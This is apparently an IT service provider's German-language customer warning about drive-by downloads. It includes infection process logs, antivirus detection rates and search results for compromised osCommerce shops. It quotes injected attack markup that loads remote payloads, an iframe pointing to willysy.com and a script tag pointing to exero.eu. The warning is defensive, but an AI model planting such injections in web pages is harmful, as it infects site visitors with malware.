



Hallo lieber Kunde

Aus gegebenem Anlass möchte ich Ihnen hiermit eine aktuelle Warnung geben. Sie alle verlassen sich auf Ihren Virens Scanner, es gibt aber leider keinen der 100%ig vor allen Gefahren schützt. Auch ESET nicht.

Es gab bisher 2 Rückmeldungen von Kunden über infizierte PCs die mit ESET geschützt waren, d.h. alles wurde richtig gemacht und der PC trotzdem infiziert, siehe ...

Infiziert trotz Schutz

Jeder dritte Nutzer hat einen infizierten PC

– obwohl er eine aktuelle Sicherheitssoftware einsetzt. Das ergaben Auswertungen

des Dienstleisters Surfright auf der Basis von rund 490.000 Nutzern.

www.surfright.nl

Diese Infizierungen geschahen über sog. **Drive-By-Downloads**. Diese haben mittlerweile die E-Mail als Hauptverbreitungsmethode für [Schadsoftware](#) verdrängt.

Normalerweise sollte der Virens Scanner so schützen ...

ESET Smart Security

 **Zugriff verweigert!**

Eigenschaften:

Webseite: http://www.google.de/search?scient=psy-ab&hl=de&client=firefox-a&rls=org.mozilla:de:official&source=hp&q=_script_src=http://exero.eu/catalog/jquery.js/_script_&pbx=1&oq=&aq=&aqi=&aql=&gs_sm=&gs_upl=&bav=on.2,or.r_gc.r_pw.,cf.osb&biw=1920&bih=967&pf=p&pdl=300&ech=15&psi=nMMDT7S1LonFswa23NUG.1325646745556.1&emsg=NCSR&noj=1&ei=7U4ET6GBE4WTswa3t4jWAw

Kommentar: Der Zugriff auf diese Webseite wurde durch ESET Smart Security blockiert. Diese Adresse ist als Webseite mit möglicherweise gefährlichem Inhalt gelistet.

ESET-Website



Was sind Drive-By-Downloads?

Manipulation von Webseiten

In vielen Fällen werden von den Angreifern gezielt Webseiten ohne Wissen der Betreiber manipuliert, etwa indem bekannte [Schwachstellen bei verbreiteten Webanwendungen](#) genutzt werden. Danach genügt allein der bloße Aufruf einer solchen Webseite auch ohne irgendwelche Aktionen seitens des Benutzers, damit sich dadurch die Schadsoftware automatisch (und unbemerkt) auf seinen Computer herunterlädt.

Verbreitung

IT-Sicherheits-Unternehmen berichten, dass eine Vielzahl von Webseiten durch schädliche Software infiziert sei. Diese Methode nehme seit 2007 ständig zu und habe mittlerweile E-Mail als Hauptverbreitungsmethode für [Schadsoftware](#) verdrängt. Täglich kämen mehrere Tausend betroffene Webseiten hinzu.

Technik

Heute beinhalten Webseiten häufig dynamische Funktionen, die durch clientseitige Technologien wie [JavaScript](#), [Java](#), [Adobe Flash](#) oder [Ajax](#) realisiert sind. Diese Techniken erlauben eine ständige Kommunikation zwischen Browser und Server, ohne dass der Benutzer eine Aktion durchführen muss. Dies wird unter anderem eingesetzt, um Werbebanner auszutauschen, Listen zu laden oder Daten an den Server zu übertragen. Üblicherweise werden diese Aktionen im Browser in einer [Sandbox](#) ausgeführt. Nur wenn der Browser eine Sicherheitslücke aufweist, kann Software aus dieser Sandbox direkt auf den Computer des Benutzers zugreifen. Somit ist es möglich, dass Schadsoftware ohne eine Aktion des Benutzers vom Server zum Browser und über die Sicherheitslücke im Browser auf den Computer des Benutzers gelangt.

Schutz

Zum Schutz vor ungewollten Drive-by-Downloads hilft es, immer die aktuelle Version des Browsers zu verwenden, sowie Plugins wie den Flash Player, sowie den Adobe Reader immer auf dem neuesten Stand zu halten.

Eine weitere Maßnahme besteht in Browser-[Plugins](#), die Skripte jeweils nur nach Freigabe durch den Anwender zulassen, etwa [NoScript](#) oder [FlashBlock](#) für [Firefox](#).

Info zu NoScript: <http://de.wikipedia.org/wiki/NoScript>

Dadurch wird das Surfen leider sehr unbequem, weil dauernd irgendetwas entschieden werden muss. Dadurch leidet die Aufmerksamkeit bei einem wirklichen Angriff.

Weitere Infos hier: <http://de.wikipedia.org/wiki/Drive-by-Download>



Links zu den Videos wegen der Demonstration von Infektionen durch Drive-By-Downloads durch manipulierte Webseiten

6 Millionen Webseiten mit der Shop-Software „OsCommerce“ wurden infiziert
http://www.youtube.com/watch?v=1Jh_H4qQzqo&feature=related

auch Webseiten mit der Forums-Software „Wordpress“ wurden infiziert
<http://www.youtube.com/watch?v=dvtsAsaqhgx&feature=related>

auch Webseiten mit der Datenbankmanagement-Software „Mysql“ wurden infiziert
<http://winfuture.de/videos/Internet/Malware-ueber-MySQL.com-verbreitet-5615.html?hd#t=4.3>

Demonstration einer Malware Infizierung detailliert an <http://coffee.h24.com.tw>
<http://www.youtube.com/watch?v=nq1q1oD8mcM&feature=related>

Diese Videos sind leider alle auf Englisch, deshalb hier kurz die Zusammenfassung der Ergebnisse.

Stand: 04.01.2011

Beispiel 1 die Webseite www.MySQL.com

#	Type	Path	New	MD5 / PID
1	RUN	C:\Program Files\Fiddler2\Fiddler.exe		2992
2	RUN	C:\Program Files\Internet Explorer\explore.exe		200
3	CREATE	c:\Documents and Settings\test\Local Settings\Temporary Internet Files\Content.IE5\GMV5961B\about[1].exe	NEW	E120EB6C66197D
4	RUN	C:\Program Files\Adobe\Acrobat 7.0\Reader\AcroRd32.exe		1528
5	CREATE	c:\Documents and Settings\test\adobeupdate.exe		E120EB6C66197D
6	RUN	C:\Documents and Settings\test\adobeupdate.exe		3912
7	CREATE	c:\Documents and Settings\test\Local Settings\Temporary Internet Files\Content.IE5\F2DP35OX\info[1].exe		E120EB6C66197D
8	RUN	C:\Documents and Settings\test\Local Settings\Temporary Internet Files\Content.IE5\F2DP35OX\info[1]		804
9	CREATE	c:\dal\adfh8\7017AC7F3A1.exe		E120EB6C66197D
10	RUN	C:\dal\adfh8\7017AC7F3A1.exe		2752

wurde infiziert über eine Schwachstelle im Browser und dem veralteten Adobe Reader.

Den verwendeten Schad-Code kannten nur 6 von 43 Virenscoannern.

0 VT Community user(s) with a total of 0 reputation credit(s) s	
user(s) with a total of 0 reputation credit(s) say(s) this sample	
File name:	readme.exe.x-msdownload
Submission date:	2011-09-26 16:55:00 (UTC)
Current status:	finished
Result:	6 /43 (14.0%)



Beispiel 2 viele Webseiten mit dem Shopsystem OSCommerce

#	Type	Path	New	MD5 / PID
1	RUN	FIDDLER.EXE		3656
2	RUN	C:\Program Files\Internet Explorer\iexplore.exe		3916
3	RUN	C:\Program Files\Java\jre6\bin\java.exe		980
4	CREATE	c:\Documents and Settings\test\Desktop\0_297026723877296.exe	NEW	E8645B08F4EBF4
5	RUN	C:\Documents and Settings\test\Desktop\0_297026723877296.exe		2600
6	CREATE	c:\DOCUME~1\test\LOCALS~1\Temp\xth9A.tmp.exe	NEW	9A3891B4DF53C
7	RUN	C:\DOCUME~1\test\LOCALS~1\Temp\xth9A.tmp.exe		2632

wurden infiziert über eine Schwachstelle im Browser und dem veralteten JAVA. Den verwendeten Schad-Code kannten nur 26 von 43 Virensclannern.

0 VT Community user(s) with a total of 0 reputation credit(s) say(s) this sample is user(s) with a total of 43996 reputation credit(s) say(s) this sample is malware.

File name: **d.php**
Submission date: **2011-08-03 23:16:01 (UTC)**
Current status: **finished**
Result: **26 /43 (60.5%)**

Den hier verwendeten Angriffs-Code fand Google im Internet über 5,7 Millionen ! mal.

Google Search

Page 10 of about 5,790,000 results

Everything - Key Naturals Skin Care<iframe src='http://willysy.com/images ...

Also alle diese Treffer-Webseiten waren aktuell damit infiziert!

Der Gegenteil am

13:34
Mittwoch
04.01.2012

Google

Suche

Ungefähr 151.000 Ergebnisse (0,13 Sekunden)

Google Suche nach „<iframe src=“http://willysy.com/images/banners““

Findet auch heute noch über 151.000 Treffer



Beispiele:

[team kits](#)[<iframe src='http://willysy.com/images/banners/' style ...](#)

[www.istanbultextile.co.uk/shopping_cart.php?...](#) - Diese Seite übersetzen

15. Dez. 2011 - Warning: session_start() [function.session-start]: Cannot send

Ein Shop in dem um Textilien geht, in England

[Digital Air](#)[<iframe src='http://willysy.com/images/banners/' style ...](#)

[digital-air.com/catalog/](#) - Diese Seite übersetzen

26. Dez. 2011 - Welcome Guest! Would you like to log yourself in? Or would you

Ein Shop wo man Digitale Sachen kaufen kann

[Reinhard Merlau Modellbau eK](#)

[shop.merlau-modellbau.com/rss.php?language=de](#)

vor 5 Tagen - <http://shop.merlau-modellbau.com> Reinhard Merlau Modellbau e.K.

Ein Shop für Modellbau Dinge

[Santo Raphael Produit](#)[<iframe src='http://willysy.com/images ...](#)

[santo-raphael.fr/buy/index.php?cPath=29](#) - Diese Seite übersetzen

vor 4 Tagen - Products 1 - 7 of 7 – Santo Raphael Produit<iframe

[Contact Us - Niche Phrase or Store Name or both](#)

https://www.bestgarminnuvi.com/contact_us.php

vor 1 Tag - You are here: Home » Contact Niche Blueprint Store<iframe

Ein Shop für Navigationsgeräte

Selbst Google warnt das Eine oder Andere Mal vor der Gefährlichkeit der Webseiten



[OLN](#)

[oln.ro/](#) - Diese Seite übersetzen

[Diese Website kann Ihren Computer beschädigen.](#)

vor 19 Stunden - OLN</title><script src=<http://dragosimport.com>, My Account - Cart Contents - Checkout ... Please Select, <meta <http://equi..> Canon, Fox, GT Interactive, Hewlett ...



[Zedentals](#)[<iframe src='http://willysy.com/images/banners/' style ...](#)

[zedentals.com/product_reviews.php?currency=TRL...id...](#)

[Diese Website kann Ihren Computer beschädigen.](#)

21. Febr. 2011 – Zedentals<iframe src=<http://willysy.com/images/> - Ihr Konto - Warenkorb - Kasse - Startseite » Katalog » klinischen Möbel und steht » BSRPR ...

Der neue Schadcode lautet z.Zt. `<script src=http://exero.eu/catalog/jquery.js>`

Der lässt sich nicht googlen weil ESET die Ausführung verhindert.





Beispiel 3 viele Webseiten mit der Webblog-Software Wordpress

#	Type	Path	New	MDS / PID
1	RUN	C:\Program Files\Fiddler2\Fiddler.exe		2800
2	RUN	C:\Program Files\Internet Explorer\iexplore.exe		2340
3	CREATE	c:\DOCUME~1\test\LOCALS~1\Temp\fb633159.exe	NEW	B45A77693822:
4	RUN	C:\DOCUME~1\test\LOCALS~1\Temp\fb633159.exe		1284
5	CREATE	c:\Documents and Settings\test\Application Data\Adobe\plugins\mmc55.exe	NEW	14A4900D698E
6	RUN	C:\Documents and Settings\test\Application Data\Adobe\plugins\mmc55.exe		3352
7	CREATE	c:\Documents and Settings\test\Application Data\Adobe\plugins\mmc55.exe	NEW	D41D0CD98F00
8	RUN	C:\Documents and Settings\test\Application Data\Adobe\plugins\mmc55.exe		133d
9	CREATE	c:\Documents and Settings\test\Application Data\Adobe\plugins\mmc13.exe		D41D0CD98F00

wurden infiziert über eine Schwachstelle im Browser und dem veralteten Adobe Plugin.

Den verwendeten Schad-Code kannten nur 5 von 43 Virenscoannern.

0 VT Community user(s) with a total of 0 reputation credit(s) say(s) this sample is goodware. 0 VT Community user(s) with a total of 0 reputation credit(s) say(s) this sample is malware.

File name: **f67ef63dbf05eb59e0d91fb95698613294987ea2332a9f0c17d299e601c84cef**
 Submission date: **2011-10-08 11:07:10 (UTC)**
 Current status: **finished**
 Result: **5 /43 (11.6%)**

Man sieht also die verwendeten Schad-Codes sind immer neuesten Datums und werden oft nicht von den Virenscoannern entdeckt.

Von 15 Millionen getesteten Webseiten mit der Endung „.COM“ sind über 900.000 davon mit irgendeiner Schadsoftware infiziert!

COUNTRY OR NAME	REGION	TLD	WORLDWIDE RISK RATIO	2009 WEIGHTED RISK RATIO	2009 UNWEIGHTED RISK RATIO	2008 RISK RATIO (SITE/AD/COX ONLY)	2007 RISK RATIO (SITE/AD/COX ONLY)	TOTAL DOMAINS REGISTERED	TOTAL RISKY DOMAINS
Commercial	Generic	COM	3	32.2%	6.0%	5.3%	5.5%	15,440,225	918,873
Information	Generic	INFO	5	15.8%	72.8%	11.7%	7.5%	601,629	137,403
Organization	Generic	ORG	11	4.2%	4.8%	2.3%	1.8%	1,179,864	57,148
European Union	EMEA	EU	59	0.5%	1.0%	2.2%	n/a	66,916	673
Germany	EMEA	DE	83	0.3%	0.3%	0.6%	1.0%	1,428,423	4,625

Stand: Mc Afee Report, leider aus dem Jahr © 2009 McAfee, Inc. .

FAZIT:

Zum Schutz vor ungewollten Drive-by-Downloads hilft es, immer die aktuelle Version des Browsers zu verwenden, sowie Plugins wie den Flash Player, sowie den Adobe Reader immer auf dem neuesten Stand zu halten.

Weil es sich aber selbst dann nicht 100%tig verhindern lässt ist ein Abbild des Systems in regelmäßigen Abständen unverzichtbar um im Schadenfalle das System schnell wieder herstellen zu können.